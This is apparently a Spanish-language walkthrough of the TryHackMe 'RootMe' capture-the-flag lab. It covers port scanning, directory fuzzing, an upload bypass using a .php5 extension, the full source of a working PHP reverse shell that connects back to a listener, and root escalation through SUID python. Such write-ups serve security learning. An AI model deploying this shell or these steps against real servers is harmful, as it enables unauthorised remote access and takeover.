Luego de conectarse a la máquina y ver que efectivamente tenemos conexión con aquello, hacemos un escaneo con Nmap nmap -Pn -n --open --top-ports 10000 -T5 -sVC [IP obejetivo]
.
Con esta información respondemos las preguntas de la Task 2, que sería: 2 puertos abiertos, versión de Apache 2.4.29 y SSH corriendo en el puerto 22. En la última respuesta que se ve en la imagen solo hay que hacer click en completado, ya que nos dice que hagamos un escaneo de directorios con gobuster
, pero en mi caso lo hice con Ffuf
.
Para la última pregunta debemos hacer fuzzing, ya que nos pregunta sobre cuál es el directorio visible, para lo cual use Ffuf
ffuf -u [IP objetivo] -w [Ruta_diccionario]
, el cual nos da los siguientes directorios.
Los directorios importantes son /uploads
, que lo usaremos más adelante, y /panel
, siendo este último el que nos interesa ahora para realizar la task 3 y también la última respuesta de la task 2.
Observamos que la task 3 nos dice que debemos subir un archivo
para obtener una reverse shell
, para lo cual usaremos una Shell reversa php
.
Crearemos un archivo.
nano reverse.php5
Usamos la extensión .php5
, ya que si lo subimos con .php
nos dirá que no aceptan ese tipo de archivos y por ende haremos bypass colocando un 5
al final de la extensión. Luego pondremos el siguiente código dentro de nuestro archivo recién creado.
PD: Recuerden que host
es el de la VPN, o sea, colocamos la IP de tun0
.
set_time_limit(0);
ignore_user_abort(true);
$host = "127.0.0.1"; // Cambia por la IP del servidor listener
$port = 4444; // Cambia por el puerto del servidor listener
$shell = "/bin/bash"; // Usa bash para mejor interactividad
// Intenta conectar al listener
$socket = fsockopen($host, $port, $errno, $errstr, 30);
if (!$socket) {
die("$errstr ($errno)\n");
}
// Configura descriptores para un entorno interactivo
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr
);
// Inicia el proceso con bash en modo interactivo
$process = proc_open("$shell -i", $descriptorspec, $pipes);
if (!is_resource($process)) {
die("No se pudo iniciar el proceso\n");
}
// Configura los pipes como no bloqueantes
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($socket, 0);
while (true) {
// Lee desde el socket (comandos del atacante)
if ($input = fread($socket, 512)) {
fwrite($pipes[0], $input);
fflush($pipes[0]);
}
// Lee la salida del proceso (stdout)
while ($output = fgets($pipes[1])) {
fwrite($socket, $output);
fflush($socket);
}
// Lee los errores del proceso (stderr)
while ($error = fgets($pipes[2])) {
fwrite($socket, $error);
fflush($socket);
}
// Verifica si el proceso o el socket están cerrados
if (feof($socket) || !is_resource($process)) {
break;
}
// Evita consumo excesivo de CPU
usleep(10000);
}
// Limpieza
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
fclose($socket);
proc_close($process);
?>
Una vez creado, nos vamos al panel a subir el archivo.
Nos ponemos a escuchar en el puerto que hemos configurado anteriormente en el código php.
Y ahora es cuando nos sirve el segundo directorio que he mencionado anteriormente /uploads
, aquí está el archivo el cual subimos.
Debemos darle click para que empiece a funcionar nuestra Shell reversa. Hacemos un id
para comprobar.
Posteriormente, hacemos un find / -name user.txt
para buscar el archivo que nos solicitaron en la pregunta, encontramos su ubicación y lo abrimos con un cat
, así dándonos la flag.
En la task 4 nos dice que debemos escalar privilegios, en la primera pregunta, nos da una pista de un comando que usaremos para ver los permisos SUID del usuario root find / -user root -perm /4000
.
Al usarlo, nos revela la lista de archivos del que es propietario el usuario root
, teniendo el bit SUID activado -perm /4000
, este nos permite ejecutar un archivo con los permisos del propietario, o sea, cualquier usuario que lo ejecute lo hará con privilegios de root. En este caso /usr/bin/python
aparece en la lista, siendo este el intérprete de Python
, básicamente podemos correr código con privilegios de root.
Buscamos en GTFOBins bajo el filtro de SUID.
Nos desplazamos hacia abajo hasta encontrar "python" y seleccionamos "SUID".
Y usaremos el comando que nos da para elevar privilegios python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
.
Lo introducimos y con un whoami
confirmamos que somos root
.
Finalmente, utilizamos find / -name root.txt
para encontrar la ruta del archivo para, posteriormente, abrirlo con un cat
y obtener la última flag.
Y así resolvemos la máquina RootMe de TryhackMe.